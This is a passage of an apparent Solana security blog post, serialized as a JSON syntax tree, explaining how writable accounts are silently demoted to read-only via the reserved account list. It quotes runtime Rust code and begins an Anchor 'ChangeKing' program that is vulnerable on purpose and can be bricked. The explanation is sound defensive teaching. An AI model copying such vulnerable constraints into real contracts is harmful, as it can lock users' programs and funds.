hildren":76550},{"style":181},[76551],{"type":26,"value":76552},"is_exempt",{"type":21,"tag":153,"props":76554,"children":76555},{"style":160},[76556],{"type":26,"value":189},{"type":21,"tag":153,"props":76558,"children":76559},{"style":192},[76560],{"type":26,"value":76561},"balance_after",{"type":21,"tag":153,"props":76563,"children":76564},{"style":160},[76565],{"type":26,"value":1670},{"type":21,"tag":153,"props":76567,"children":76568},{"style":192},[76569],{"type":26,"value":15670},{"type":21,"tag":153,"props":76571,"children":76572},{"style":198},[76573],{"type":26,"value":355},{"type":21,"tag":153,"props":76575,"children":76576},{"style":181},[76577],{"type":26,"value":16519},{"type":21,"tag":153,"props":76579,"children":76580},{"style":160},[76581],{"type":26,"value":18357},{"type":21,"tag":153,"props":76583,"children":76584},{"class":155,"line":762},[76585,76589,76593,76598,76602,76606],{"type":21,"tag":153,"props":76586,"children":76587},{"style":198},[76588],{"type":26,"value":18318},{"type":21,"tag":153,"props":76590,"children":76591},{"style":198},[76592],{"type":26,"value":15581},{"type":21,"tag":153,"props":76594,"children":76595},{"style":181},[76596],{"type":26,"value":76597},"is_program",{"type":21,"tag":153,"props":76599,"children":76600},{"style":160},[76601],{"type":26,"value":189},{"type":21,"tag":153,"props":76603,"children":76604},{"style":192},[76605],{"type":26,"value":15670},{"type":21,"tag":153,"props":76607,"children":76608},{"style":160},[76609],{"type":26,"value":2006},{"type":21,"tag":153,"props":76611,"children":76612},{"class":155,"line":776},[76613],{"type":21,"tag":153,"props":76614,"children":76615},{"style":160},[76616],{"type":26,"value":548},{"type":21,"tag":22,"props":76618,"children":76619},{},[76620],{"type":26,"value":76621},"Now we’re safe...right?",{"type":21,"tag":114,"props":76623,"children":76625},{"id":76624},"bug-3-the-write-demotion-trap",[76626],{"type":26,"value":76627},"Bug 3: The Write-Demotion Trap",{"type":21,"tag":22,"props":76629,"children":76630},{},[76631,76633,76638,76640,76645],{"type":26,"value":76632},"On Solana, accounts passed as ",{"type":21,"tag":8055,"props":76634,"children":76635},{},[76636],{"type":26,"value":76637},"writable",{"type":26,"value":76639}," in a transaction can be ",{"type":21,"tag":8055,"props":76641,"children":76642},{},[76643],{"type":26,"value":76644},"silently downgraded to read-only",{"type":26,"value":76646},". This behavior occurs during message sanitization — even before your program runs.",{"type":21,"tag":22,"props":76648,"children":76649},{},[76650,76652,76659],{"type":26,"value":76651},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":21,"tag":29,"props":76653,"children":76656},{"href":76654,"rel":76655},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[33],[76657],{"type":26,"value":76658},"MessageV0",{"type":26,"value":76660},", but legacy is simpler to follow):",{"type":21,"tag":143,"props":76662,"children":76664},{"className":145,"code":76663,"language":147,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[76665],{"type":21,"tag":78,"props":76666,"children":76667},{"__ignoreMap":7},[76668,76676,76700,76788,76809,76821,76837,76853,76901,76930,76984,77020,77028,77065,77077,77115,77127,77134,77141,77148,77155,77163,77223,77276],{"type":21,"tag":153,"props":76669,"children":76670},{"class":155,"line":156},[76671],{"type":21,"tag":153,"props":76672,"children":76673},{"style":3050},[76674],{"type":26,"value":76675},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":21,"tag":153,"props":76677,"children":76678},{"class":155,"line":166},[76679,76683,76688,76692,76696],{"type":21,"tag":153,"props":76680,"children":76681},{"style":170},[76682],{"type":26,"value":30889},{"type":21,"tag":153,"props":76684,"children":76685},{"style":214},[76686],{"type":26,"value":76687}," LegacyMessage",{"type":21,"tag":153,"props":76689,"children":76690},{"style":160},[76691],{"type":26,"value":25615},{"type":21,"tag":153,"props":76693,"children":76694},{"style":214},[76695],{"type":26,"value":5834},{"type":21,"tag":153,"props":76697,"children":76698},{"style":160},[76699],{"type":26,"value":10009},{"type":21,"tag":153,"props":76701,"children":76702},{"class":155,"line":225},[76703,76707,76711,76715,76719,76723,76727,76732,76736,76741,76745,76750,76754,76758,76763,76767,76771,76775,76779,76784],{"type":21,"tag":153,"props":76704,"children":76705},{"style":170},[76706],{"type":26,"value":23537},{"type":21,"tag":153,"props":76708,"children":76709},{"style":170},[76710],{"type":26,"value":178},{"type":21,"tag":153,"props":76712,"children":76713},{"style":181},[76714],{"type":26,"value":34627},{"type":21,"tag":153,"props":76716,"children":76717},{"style":160},[76718],{"type":26,"value":189},{"type":21,"tag":153,"props":76720,"children":76721},{"style":192},[76722],{"type":26,"value":70331},{"type":21,"tag":153,"props":76724,"children":76725},{"style":198},[76726],{"type":26,"value":201},{"type":21,"tag":153,"props":76728,"children":76729},{"style":160},[76730],{"type":26,"value":76731}," legacy",{"type":21,"tag":153,"props":76733,"children":76734},{"style":198},[76735],{"type":26,"value":265},{"type":21,"tag":153,"props":76737,"children":76738},{"style":214},[76739],{"type":26,"value":76740},"Message",{"type":21,"tag":153,"props":76742,"children":76743},{"style":160},[76744],{"type":26,"value":1670},{"type":21,"tag":153,"props":76746,"children":76747},{"style":192},[76748],{"type":26,"value":76749},"reserved_account_keys",{"type":21,"tag":153,"props":76751,"children":76752},{"style":198},[76753],{"type":26,"value":201},{"type":21,"tag":153,"props":76755,"children":76756},{"style":198},[76757],{"type":26,"value":206},{"type":21,"tag":153,"props":76759,"children":76760},{"style":214},[76761],{"type":26,"value":76762},"HashSet",{"type":21,"tag":153,"props":76764,"children":76765},{"style":160},[76766],{"type":26,"value":8537},{"type":21,"tag":153,"props":76768,"children":76769},{"style":214},[76770],{"type":26,"value":2878},{"type":21,"tag":153,"props":76772,"children":76773},{"style":160},[76774],{"type":26,"value":23140},{"type":21,"tag":153,"props":76776,"children":76777},{"style":198},[76778],{"type":26,"value":2953},{"type":21,"tag":153,"props":76780,"children":76781},{"style":170},[76782],{"type":26,"value":76783}," Self",{"type":21,"tag":153,"props":76785,"children":76786},{"style":160},[76787],{"type":26,"value":236},{"type":21,"tag":153,"props":76789,"children":76790},{"class":155,"line":239},[76791,76795,76800,76804],{"type":21,"tag":153,"props":76792,"children":76793},{"style":170},[76794],{"type":26,"value":245},{"type":21,"tag":153,"props":76796,"children":76797},{"style":192},[76798],{"type":26,"value":76799}," is_writable_account_cache",{"type":21,"tag":153,"props":76801,"children":76802},{"style":198},[76803],{"type":26,"value":255},{"type":21,"tag":153,"props":76805,"children":76806},{"style":192},[76807],{"type":26,"value":76808}," message\n",{"type":21,"tag":153,"props":76810,"children":76811},{"class":155,"line":382},[76812,76816],{"type":21,"tag":153,"props":76813,"children":76814},{"style":198},[76815],{"type":26,"value":5917},{"type":21,"tag":153,"props":76817,"children":76818},{"style":160},[76819],{"type":26,"value":76820},"account_keys\n",{"type":21,"tag":153,"props":76822,"children":76823},{"class":155,"line":501},[76824,76828,76833],{"type":21,"tag":153,"props":76825,"children":76826},{"style":198},[76827],{"type":26,"value":5917},{"type":21,"tag":153,"props":76829,"children":76830},{"style":181},[76831],{"type":26,"value":76832},"iter",{"type":21,"tag":153,"props":76834,"children":76835},{"style":160},[76836],{"type":26,"value":10462},{"type":21,"tag":153,"props":76838,"children":76839},{"class":155,"line":533},[76840,76844,76849],{"type":21,"tag":153,"props":76841,"children":76842},{"style":198},[76843],{"type":26,"value":5917},{"type":21,"tag":153,"props":76845,"children":76846},{"style":181},[76847],{"type":26,"value":76848},"enumerate",{"type":21,"tag":153,"props":76850,"children":76851},{"style":160},[76852],{"type":26,"value":10462},{"type":21,"tag":153,"props":76854,"children":76855},{"class":155,"line":542},[76856,76860,76864,76868,76872,76876,76880,76884,76889,76893,76897],{"type":21,"tag":153,"props":76857,"children":76858},{"style":198},[76859],{"type":26,"value":5917},{"type":21,"tag":153,"props":76861,"children":76862},{"style":181},[76863],{"type":26,"value":69396},{"type":21,"tag":153,"props":76865,"children":76866},{"style":160},[76867],{"type":26,"value":189},{"type":21,"tag":153,"props":76869,"children":76870},{"style":198},[76871],{"type":26,"value":13136},{"type":21,"tag":153,"props":76873,"children":76874},{"style":160},[76875],{"type":26,"value":189},{"type":21,"tag":153,"props":76877,"children":76878},{"style":192},[76879],{"type":26,"value":6471},{"type":21,"tag":153,"props":76881,"children":76882},{"style":160},[76883],{"type":26,"value":1670},{"type":21,"tag":153,"props":76885,"children":76886},{"style":192},[76887],{"type":26,"value":76888},"_key",{"type":21,"tag":153,"props":76890,"children":76891},{"style":160},[76892],{"type":26,"value":2071},{"type":21,"tag":153,"props":76894,"children":76895},{"style":198},[76896],{"type":26,"value":13136},{"type":21,"tag":153,"props":76898,"children":76899},{"style":160},[76900],{"type":26,"value":236},{"type":21,"tag":153,"props":76902,"children":76903},{"class":155,"line":762},[76904,76909,76913,76918,76922,76926],{"type":21,"tag":153,"props":76905,"children":76906},{"style":192},[76907],{"type":26,"value":76908},"                message",{"type":21,"tag":153,"props":76910,"children":76911},{"style":198},[76912],{"type":26,"value":355},{"type":21,"tag":153,"props":76914,"children":76915},{"style":181},[76916],{"type":26,"value":76917},"is_writable_index",{"type":21,"tag":153,"props":76919,"children":76920},{"style":160},[76921],{"type":26,"value":189},{"type":21,"tag":153,"props":76923,"children":76924},{"style":192},[76925],{"type":26,"value":6471},{"type":21,"tag":153,"props":76927,"children":76928},{"style":160},[76929],{"type":26,"value":5909},{"type":21,"tag":153,"props":76931,"children":76932},{"class":155,"line":776},[76933,76938,76942,76946,76950,76955,76959,76963,76967,76971,76976,76980],{"type":21,"tag":153,"props":76934,"children":76935},{"style":198},[76936],{"type":26,"value":76937},"                    &&",{"type":21,"tag":153,"props":76939,"children":76940},{"style":198},[76941],{"type":26,"value":15581},{"type":21,"tag":153,"props":76943,"children":76944},{"style":192},[76945],{"type":26,"value":76749},{"type":21,"tag":153,"props":76947,"children":76948},{"style":198},[76949],{"type":26,"value":355},{"type":21,"tag":153,"props":76951,"children":76952},{"style":181},[76953],{"type":26,"value":76954},"contains",{"type":21,"tag":153,"props":76956,"children":76957},{"style":160},[76958],{"type":26,"value":189},{"type":21,"tag":153,"props":76960,"children":76961},{"style":198},[76962],{"type":26,"value":1974},{"type":21,"tag":153,"props":76964,"children":76965},{"style":192},[76966],{"type":26,"value":70331},{"type":21,"tag":153,"props":76968,"children":76969},{"style":198},[76970],{"type":26,"value":355},{"type":21,"tag":153,"props":76972,"children":76973},{"style":160},[76974],{"type":26,"value":76975},"account_keys[",{"type":21,"tag":153,"props":76977,"children":76978},{"style":192},[76979],{"type":26,"value":6471},{"type":21,"tag":153,"props":76981,"children":76982},{"style":160},[76983],{"type":26,"value":57732},{"type":21,"tag":153,"props":76985,"children":76986},{"class":155,"line":795},[76987,76991,76995,76999,77003,77008,77012,77016],{"type":21,"tag":153,"props":76988,"children":76989},{"style":198},[76990],{"type":26,"value":76937},{"type":21,"tag":153,"props":76992,"children":76993},{"style":198},[76994],{"type":26,"value":15581},{"type":21,"tag":153,"props":76996,"children":76997},{"style":192},[76998],{"type":26,"value":70331},{"type":21,"tag":153,"props":77000,"children":77001},{"style":198},[77002],{"type":26,"value":355},{"type":21,"tag":153,"props":77004,"children":77005},{"style":181},[77006],{"type":26,"value":77007},"demote_program_id",{"type":21,"tag":153,"props":77009,"children":77010},{"style":160},[77011],{"type":26,"value":189},{"type":21,"tag":153,"props":77013,"children":77014},{"style":192},[77015],{"type":26,"value":6471},{"type":21,"tag":153,"props":77017,"children":77018},{"style":160},[77019],{"type":26,"value":5909},{"type":21,"tag":153,"props":77021,"children":77022},{"class":155,"line":808},[77023],{"type":21,"tag":153,"props":77024,"children":77025},{"style":160},[77026],{"type":26,"value":77027},"            })\n",{"type":21,"tag":153,"props":77029,"children":77030},{"class":155,"line":820},[77031,77035,77040,77044,77048,77052,77056,77060],{"type":21,"tag":153,"props":77032,"children":77033},{"style":198},[77034],{"type":26,"value":5917},{"type":21,"tag":153,"props":77036,"children":77037},{"style":181},[77038],{"type":26,"value":77039},"collect",{"type":21,"tag":153,"props":77041,"children":77042},{"style":198},[77043],{"type":26,"value":265},{"type":21,"tag":153,"props":77045,"children":77046},{"style":160},[77047],{"type":26,"value":8537},{"type":21,"tag":153,"props":77049,"children":77050},{"style":214},[77051],{"type":26,"value":19909},{"type":21,"tag":153,"props":77053,"children":77054},{"style":160},[77055],{"type":26,"value":8537},{"type":21,"tag":153,"props":77057,"children":77058},{"style":192},[77059],{"type":26,"value":5834},{"type":21,"tag":153,"props":77061,"children":77062},{"style":160},[77063],{"type":26,"value":77064},">>();\n",{"type":21,"tag":153,"props":77066,"children":77067},{"class":155,"line":842},[77068,77073],{"type":21,"tag":153,"props":77069,"children":77070},{"style":170},[77071],{"type":26,"value":77072},"        Self",{"type":21,"tag":153,"props":77074,"children":77075},{"style":160},[77076],{"type":26,"value":236},{"type":21,"tag":153,"props":77078,"children":77079},{"class":155,"line":3204},[77080,77085,77089,77094,77098,77103,77107,77111],{"type":21,"tag":153,"props":77081,"children":77082},{"style":192},[77083],{"type":26,"value":77084},"            message",{"type":21,"tag":153,"props":77086,"children":77087},{"style":198},[77088],{"type":26,"value":201},{"type":21,"tag":153,"props":77090,"children":77091},{"style":214},[77092],{"type":26,"value":77093}," Cow",{"type":21,"tag":153,"props":77095,"children":77096},{"style":198},[77097],{"type":26,"value":265},{"type":21,"tag":153,"props":77099,"children":77100},{"style":181},[77101],{"type":26,"value":77102},"Owned",{"type":21,"tag":153,"props":77104,"children":77105},{"style":160},[77106],{"type":26,"value":189},{"type":21,"tag":153,"props":77108,"children":77109},{"style":192},[77110],{"type":26,"value":70331},{"type":21,"tag":153,"props":77112,"children":77113},{"style":160},[77114],{"type":26,"value":679},{"type":21,"tag":153,"props":77116,"children":77117},{"class":155,"line":3230},[77118,77123],{"type":21,"tag":153,"props":77119,"children":77120},{"style":192},[77121],{"type":26,"value":77122},"            is_writable_account_cache",{"type":21,"tag":153,"props":77124,"children":77125},{"style":160},[77126],{"type":26,"value":792},{"type":21,"tag":153,"props":77128,"children":77129},{"class":155,"line":3239},[77130],{"type":21,"tag":153,"props":77131,"children":77132},{"style":160},[77133],{"type":26,"value":2765},{"type":21,"tag":153,"props":77135,"children":77136},{"class":155,"line":3253},[77137],{"type":21,"tag":153,"props":77138,"children":77139},{"style":160},[77140],{"type":26,"value":539},{"type":21,"tag":153,"props":77142,"children":77143},{"class":155,"line":3301},[77144],{"type":21,"tag":153,"props":77145,"children":77146},{"style":160},[77147],{"type":26,"value":548},{"type":21,"tag":153,"props":77149,"children":77150},{"class":155,"line":3346},[77151],{"type":21,"tag":153,"props":77152,"children":77153},{"emptyLinePlaceholder":16},[77154],{"type":26,"value":759},{"type":21,"tag":153,"props":77156,"children":77157},{"class":155,"line":3355},[77158],{"type":21,"tag":153,"props":77159,"children":77160},{"style":3050},[77161],{"type":26,"value":77162},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":21,"tag":153,"props":77164,"children":77165},{"class":155,"line":3364},[77166,77170,77174,77179,77183,77187,77191,77195,77199,77203,77207,77211,77215,77219],{"type":21,"tag":153,"props":77167,"children":77168},{"style":170},[77169],{"type":26,"value":173},{"type":21,"tag":153,"props":77171,"children":77172},{"style":170},[77173],{"type":26,"value":178},{"type":21,"tag":153,"props":77175,"children":77176},{"style":181},[77177],{"type":26,"value":77178}," demote_program_id",{"type":21,"tag":153,"props":77180,"children":77181},{"style":160},[77182],{"type":26,"value":189},{"type":21,"tag":153,"props":77184,"children":77185},{"style":198},[77186],{"type":26,"value":1974},{"type":21,"tag":153,"props":77188,"children":77189},{"style":170},[77190],{"type":26,"value":16427},{"type":21,"tag":153,"props":77192,"children":77193},{"style":160},[77194],{"type":26,"value":1670},{"type":21,"tag":153,"props":77196,"children":77197},{"style":192},[77198],{"type":26,"value":6471},{"type":21,"tag":153,"props":77200,"children":77201},{"style":198},[77202],{"type":26,"value":201},{"type":21,"tag":153,"props":77204,"children":77205},{"style":214},[77206],{"type":26,"value":16445},{"type":21,"tag":153,"props":77208,"children":77209},{"style":160},[77210],{"type":26,"value":2362},{"type":21,"tag":153,"props":77212,"children":77213},{"style":198},[77214],{"type":26,"value":2953},{"type":21,"tag":153,"props":77216,"children":77217},{"style":214},[77218],{"type":26,"value":14769},{"type":21,"tag":153,"props":77220,"children":77221},{"style":160},[77222],{"type":26,"value":236},{"type":21,"tag":153,"props":77224,"children":77225},{"class":155,"line":3376},[77226,77230,77234,77239,77243,77247,77251,77255,77259,77263,77267,77272],{"type":21,"tag":153,"props":77227,"children":77228},{"style":170},[77229],{"type":26,"value":23480},{"type":21,"tag":153,"props":77231,"children":77232},{"style":198},[77233],{"type":26,"value":355},{"type":21,"tag":153,"props":77235,"children":77236},{"style":181},[77237],{"type":26,"value":77238},"is_key_called_as_program",{"type":21,"tag":153,"props":77240,"children":77241},{"style":160},[77242],{"type":26,"value":189},{"type":21,"tag":153,"props":77244,"children":77245},{"style":192},[77246],{"type":26,"value":6471},{"type":21,"tag":153,"props":77248,"children":77249},{"style":160},[77250],{"type":26,"value":2362},{"type":21,"tag":153,"props":77252,"children":77253},{"style":198},[77254],{"type":26,"value":75492},{"type":21,"tag":153,"props":77256,"children":77257},{"style":198},[77258],{"type":26,"value":15581},{"type":21,"tag":153,"props":77260,"children":77261},{"style":170},[77262],{"type":26,"value":16427},{"type":21,"tag":153,"props":77264,"children":77265},{"style":198},[77266],{"type":26,"value":355},{"type":21,"tag":153,"props":77268,"children":77269},{"style":181},[77270],{"type":26,"value":77271},"is_upgradeable_loader_present",{"type":21,"tag":153,"props":77273,"children":77274},{"style":160},[77275],{"type":26,"value":10462},{"type":21,"tag":153,"props":77277,"children":77278},{"class":155,"line":3393},[77279],{"type":21,"tag":153,"props":77280,"children":77281},{"style":160},[77282],{"type":26,"value":548},{"type":21,"tag":22,"props":77284,"children":77285},{},[77286],{"type":26,"value":77287},"As you can see, there are two main causes of write-demotion:",{"type":21,"tag":126,"props":77289,"children":77290},{},[77291,77303],{"type":21,"tag":91,"props":77292,"children":77293},{},[77294,77296],{"type":26,"value":77295},"The account appears in the ",{"type":21,"tag":29,"props":77297,"children":77300},{"href":77298,"rel":77299},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[33],[77301],{"type":26,"value":77302},"reserved account list",{"type":21,"tag":91,"props":77304,"children":77305},{},[77306],{"type":26,"value":77307},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":21,"tag":22,"props":77309,"children":77310},{},[77311],{"type":26,"value":77312},"The second case is generally covered by the executable check implemented previously.",{"type":21,"tag":22,"props":77314,"children":77315},{},[77316],{"type":26,"value":77317},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":21,"tag":21591,"props":77319,"children":77321},{"id":77320},"the-reserved-account-list",[77322],{"type":26,"value":77323},"The Reserved Account List",{"type":21,"tag":22,"props":77325,"children":77326},{},[77327,77329,77334],{"type":26,"value":77328},"The Solana runtime maintains a ",{"type":21,"tag":29,"props":77330,"children":77332},{"href":77298,"rel":77331},[33],[77333],{"type":26,"value":77302},{"type":26,"value":77335},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":21,"tag":22,"props":77337,"children":77338},{},[77339,77341,77348,77350,77355],{"type":26,"value":77340},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":21,"tag":29,"props":77342,"children":77345},{"href":77343,"rel":77344},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[33],[77346],{"type":26,"value":77347},"feature gate is actived",{"type":26,"value":77349},", the runtime will ",{"type":21,"tag":8055,"props":77351,"children":77352},{},[77353],{"type":26,"value":77354},"automatically demote them to read-only",{"type":26,"value":77356},", even if the transaction marked them as writable.",{"type":21,"tag":143,"props":77358,"children":77360},{"className":145,"code":77359,"language":147,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[77361],{"type":21,"tag":78,"props":77362,"children":77363},{"__ignoreMap":7},[77364,77372,77380,77404,77458,77496,77525],{"type":21,"tag":153,"props":77365,"children":77366},{"class":155,"line":156},[77367],{"type":21,"tag":153,"props":77368,"children":77369},{"style":3050},[77370],{"type":26,"value":77371},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":21,"tag":153,"props":77373,"children":77374},{"class":155,"line":166},[77375],{"type":21,"tag":153,"props":77376,"children":77377},{"style":3050},[77378],{"type":26,"value":77379},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":21,"tag":153,"props":77381,"children":77382},{"class":155,"line":225},[77383,77387,77391,77396,77400],{"type":21,"tag":153,"props":77384,"children":77385},{"style":170},[77386],{"type":26,"value":16427},{"type":21,"tag":153,"props":77388,"children":77389},{"style":198},[77390],{"type":26,"value":355},{"type":21,"tag":153,"props":77392,"children":77393},{"style":160},[77394],{"type":26,"value":77395},"reserved_account_keys ",{"type":21,"tag":153,"props":77397,"children":77398},{"style":198},[77399],{"type":26,"value":2367},{"type":21,"tag":153,"props":77401,"children":77402},{"style":160},[77403],{"type":26,"value":236},{"type":21,"tag":153,"props":77405,"children":77406},{"class":155,"line":239},[77407,77411,77415,77420,77424,77429,77433,77437,77441,77445,77449,77453],{"type":21,"tag":153,"props":77408,"children":77409},{"style":170},[77410],{"type":26,"value":629},{"type":21,"tag":153,"props":77412,"children":77413},{"style":170},[77414],{"type":26,"value":1560},{"type":21,"tag":153,"props":77416,"children":77417},{"style":192},[77418],{"type":26,"value":77419}," reserved_keys",{"type":21,"tag":153,"props":77421,"children":77422},{"style":198},[77423],{"type":26,"value":255},{"type":21,"tag":153,"props":77425,"children":77426},{"style":214},[77427],{"type":26,"value":77428}," ReservedAccountKeys",{"type":21,"tag":153,"props":77430,"children":77431},{"style":198},[77432],{"type":26,"value":265},{"type":21,"tag":153,"props":77434,"children":77435},{"style":181},[77436],{"type":26,"value":3420},{"type":21,"tag":153,"props":77438,"children":77439},{"style":160},[77440],{"type":26,"value":189},{"type":21,"tag":153,"props":77442,"children":77443},{"style":198},[77444],{"type":26,"value":1974},{"type":21,"tag":153,"props":77446,"children":77447},{"style":170},[77448],{"type":26,"value":16427},{"type":21,"tag":153,"props":77450,"children":77451},{"style":198},[77452],{"type":26,"value":355},{"type":21,"tag":153,"props":77454,"children":77455},{"style":160},[77456],{"type":26,"value":77457},"reserved_account_keys);\n",{"type":21,"tag":153,"props":77459,"children":77460},{"class":155,"line":382},[77461,77466,77470,77475,77479,77483,77487,77491],{"type":21,"tag":153,"props":77462,"children":77463},{"style":192},[77464],{"type":26,"value":77465},"    reserved_keys",{"type":21,"tag":153,"props":77467,"children":77468},{"style":198},[77469],{"type":26,"value":355},{"type":21,"tag":153,"props":77471,"children":77472},{"style":181},[77473],{"type":26,"value":77474},"update_active_set",{"type":21,"tag":153,"props":77476,"children":77477},{"style":160},[77478],{"type":26,"value":189},{"type":21,"tag":153,"props":77480,"children":77481},{"style":198},[77482],{"type":26,"value":1974},{"type":21,"tag":153,"props":77484,"children":77485},{"style":170},[77486],{"type":26,"value":16427},{"type":21,"tag":153,"props":77488,"children":77489},{"style":198},[77490],{"type":26,"value":355},{"type":21,"tag":153,"props":77492,"children":77493},{"style":160},[77494],{"type":26,"value":77495},"feature_set);\n",{"type":21,"tag":153,"props":77497,"children":77498},{"class":155,"line":501},[77499,77504,77508,77512,77516,77521],{"type":21,"tag":153,"props":77500,"children":77501},{"style":214},[77502],{"type":26,"value":77503},"    Arc",{"type":21,"tag":153,"props":77505,"children":77506},{"style":198},[77507],{"type":26,"value":265},{"type":21,"tag":153,"props":77509,"children":77510},{"style":181},[77511],{"type":26,"value":1804},{"type":21,"tag":153,"props":77513,"children":77514},{"style":160},[77515],{"type":26,"value":189},{"type":21,"tag":153,"props":77517,"children":77518},{"style":192},[77519],{"type":26,"value":77520},"reserved_keys",{"type":21,"tag":153,"props":77522,"children":77523},{"style":160},[77524],{"type":26,"value":5909},{"type":21,"tag":153,"props":77526,"children":77527},{"class":155,"line":533},[77528],{"type":21,"tag":153,"props":77529,"children":77530},{"style":160},[77531],{"type":26,"value":19275},{"type":21,"tag":21591,"props":77533,"children":77535},{"id":77534},"consequences-silent-failures-and-bricked-programs",[77536],{"type":26,"value":77537},"Consequences: Silent Failures and Bricked Programs",{"type":21,"tag":22,"props":77539,"children":77540},{},[77541],{"type":26,"value":77542},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":21,"tag":143,"props":77544,"children":77546},{"className":145,"code":77545,"language":147,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[77547],{"type":21,"tag":78,"props":77548,"children":77549},{"__ignoreMap":7},[77550,77565,77592,77607,77646,77653,77700,77731,77738,77753,77784,77791,77806,77837],{"type":21,"tag":153,"props":77551,"children":77552},{"class":155,"line":156},[77553,77557,77561],{"type":21,"tag":153,"props":77554,"children":77555},{"style":160},[77556],{"type":26,"value":25530},{"type":21,"tag":153,"props":77558,"children":77559},{"style":214},[77560],{"type":26,"value":25535},{"type":21,"tag":153,"props":77562,"children":77563},{"style":160},[77564],{"type":26,"value":22954},{"type":21,"tag":153,"props":77566,"children":77567},{"class":155,"line":166},[77568,77572,77576,77580,77584,77588],{"type":21,"tag":153,"props":77569,"children":77570},{"style":170},[77571],{"type":26,"value":173},{"type":21,"tag":153,"props":77573,"children":77574},{"style":170},[77575],{"type":26,"value":23844},{"type":21,"tag":153,"props":77577,"children":77578},{"style":214},[77579],{"type":26,"value":73605},{"type":21,"tag":153,"props":77581,"children":77582},{"style":160},[77583],{"type":26,"value":25615},{"type":21,"tag":153,"props":77585,"children":77586},{"style":214},[77587],{"type":26,"value":25620},{"type":21,"tag":153,"props":77589,"children":77590},{"style":160},[77591],{"type":26,"value":10009},{"type":21,"tag":153,"props":77593,"children":77594},{"class":155,"line":225},[77595,77599,77603],{"type":21,"tag":153,"props":77596,"children":77597},{"style":160},[77598],{"type":26,"value":25820},{"type":21,"tag":153,"props":77600,"children":77601},{"style":170},[77602],{"type":26,"value":318},{"type":21,"tag":153,"props":77604,"children":77605},{"style":160},[77606],{"type":26,"value":22954},{"type":21,"tag":153,"props":77608,"children":77609},{"class":155,"line":239},[77610,77614,77618,77622,77626,77630,77634,77638,77642],{"type":21,"tag":153,"props":77611,"children":77612},{"style":170},[77613],{"type":26,"value":23537},{"type":21,"tag":153,"props":77615,"children":77616},{"style":192},[77617],{"type":26,"value":73644},{"type":21,"tag":153,"props":77619,"children":77620},{"style":198},[77621],{"type":26,"value":201},{"type":21,"tag":153,"props":77623,"children":77624},{"style":214},[77625],{"type":26,"value":25785},{"type":21,"tag":153,"props":77627,"children":77628},{"style":160},[77629],{"type":26,"value":25615},{"type":21,"tag":153,"props":77631,"children":77632},{"style":214},[77633],{"type":26,"value":25620},{"type":21,"tag":153,"props":77635,"children":77636},{"style":160},[77637],{"type":26,"value":1670},{"type":21,"tag":153,"props":77639,"children":77640},{"style":214},[77641],{"type":26,"value":73669},{"type":21,"tag":153,"props":77643,"children":77644},{"style":160},[77645],{"type":26,"value":8867},{"type":21,"tag":153,"props":77647,"children":77648},{"class":155,"line":382},[77649],{"type":21,"tag":153,"props":77650,"children":77651},{"emptyLinePlaceholder":16},[77652],{"type":26,"value":759},{"type":21,"tag":153,"props":77654,"children":77655},{"class":155,"line":501},[77656,77660,77664,77668,77672,77676,77680,77684,77688,77692,77696],{"type":21,"tag":153,"props":77657,"children":77658},{"style":160},[77659],{"type":26,"value":25820},{"type":21,"tag":153,"props":77661,"children":77662},{"style":170},[77663],{"type":26,"value":318},{"type":21,"tag":153,"props":77665,"children":77666},{"style":160},[77667],{"type":26,"value":73704},{"type":21,"tag":153,"props":77669,"children":77670},{"style":198},[77671],{"type":26,"value":2367},{"type":21,"tag":153,"props":77673,"children":77674},{"style":160},[77675],{"type":26,"value":73713},{"type":21,"tag":153,"props":77677,"children":77678},{"style":198},[77679],{"type":26,"value":355},{"type":21,"tag":153,"props":77681,"children":77682},{"style":160},[77683],{"type":26,"value":73722},{"type":21,"tag":153,"props":77685,"children":77686},{"style":198},[77687],{"type":26,"valu